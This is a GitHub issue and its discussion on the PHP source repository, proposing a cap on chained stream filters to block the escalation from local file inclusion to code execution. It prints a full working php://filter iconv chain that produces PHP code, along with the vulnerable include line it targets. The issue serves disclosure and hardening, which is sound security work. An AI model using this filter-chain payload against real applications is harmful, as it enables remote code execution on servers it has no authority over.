Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Limit maximum number of filter chains as a security measure #10453

Open
Sjord opened this issue Jan 26, 2023 · 3 comments · May be fixed by #16699
Open

Limit maximum number of filter chains as a security measure #10453

Sjord opened this issue Jan 26, 2023 · 3 comments · May be fixed by #16699

Comments

@Sjord
Copy link

Sjord commented Jan 26, 2023

Description

I propose to put a reasonable limit on how many filters can be chained, to prevent elevating LFI to RCE.

Consider an application with local file inclusion (LFI):

include $_GET['page'];

This is a security vulnerability, as it exposes and executes any file on the server. It can also be used to gain remote code execution (RCE). If the attacker gets their file included, it is executed as PHP. In the absence of file uploads and allow_url_include, this is still possible using PHP filters. PHP filters are URLs that pass a file through encoding filters, such as php://filter/convert.base64-encode/resource=/etc/passwd. By combining many filters, it is possible to create arbitrary content. For example, the following URL will generate <?php phpinfo(); ?>. By passing this to the LFI, the attacker can execute arbitrary code, in this case phpinfo().

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

Now, even the shortest payload requires many filters chained to each other. Would it be reasonable to put a limit on how many filters can be chained? A limit of 50 or 100 would severely limit this attack vector, while giving sufficient room for legitimate use cases.

@cmb69
Copy link
Member

cmb69 commented Jan 26, 2023

This looks pretty scary, and although an apparently widely known attack vector, it might better to not discuss further details in public.

@smalyshev
Copy link
Contributor

I'm not sure where the security issue is here. If you allow arbitrary externally-controlled strings as your filenames then of course those can use filters and maybe a lot more. Secure code just shouldn't allow external parties to send it php:// URLs to open. It should verify whatever it tries to open, if it is externally controlled, is a valid safe filename.

@thomas-chauchefoin-sonarsource
Copy link

thomas-chauchefoin-sonarsource commented Mar 27, 2023

I'm not sure where the security issue is here. If you allow arbitrary externally-controlled strings as your filenames then of course those can use filters and maybe a lot more. Secure code just shouldn't allow external parties to send it php:// URLs to open. It should verify whatever it tries to open, if it is externally controlled, is a valid safe filename.

Indeed! But when it happens, and it has happened for decades and keeps on happening, PHP shouldn't make exploitation easier than other languages. With this new method, attackers go from being dependent on the context to systematically getting code execution.

In addition, the iconv filter doesn't seem widely adopted by developers. On GitHub, a global search for php://filter/convert.iconv yielded no legitimate result–all hits are from security challenges.

On a related topic, @hash_kitten demonstrated how filters allow reading files with an OOM oracle. Synacktiv just published an extensive analysis of it and released another tool to exploit it.

I think this vector should be closed for the same reasons why Phar metadata deserialization is delayed with 0c238ed. For reference, I found about 70 CVEs that likely wouldn't exist without phar://, but could be still exploited with filters on PHP 8.

jvoisin added a commit to jvoisin/php-src that referenced this issue Nov 4, 2024
Chaining filters is becoming an increasingly popular primitive to exploit PHP
applications. Limiting the usage of only a few of them at the time should,
if not close entirely, make it significantly less attractive.

This should close php#10453
@jvoisin jvoisin linked a pull request Nov 4, 2024 that will close this issue
jvoisin added a commit to jvoisin/php-src that referenced this issue Nov 4, 2024
Chaining filters is becoming an increasingly popular primitive to exploit PHP
applications. Limiting the usage of only a few of them at the time should,
if not close entirely, make it significantly less attractive.

This should close php#10453
jvoisin added a commit to jvoisin/php-src that referenced this issue Nov 4, 2024
Chaining filters is becoming an increasingly popular primitive to exploit PHP
applications. Limiting the usage of only a few of them at the time should,
if not close entirely, make it significantly less attractive.

This should close php#10453
jvoisin added a commit to jvoisin/php-src that referenced this issue Nov 4, 2024
Chaining filters is becoming an increasingly popular primitive to exploit PHP
applications. Limiting the usage of only a few of them at the time should,
if not close entirely, make it significantly less attractive.

This should close php#10453
jvoisin added a commit to jvoisin/php-src that referenced this issue Nov 4, 2024
Chaining filters is becoming an increasingly popular primitive to exploit PHP
applications. Limiting the usage of only a few of them at the time should,
if not close entirely, make it significantly less attractive.

This should close php#10453
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants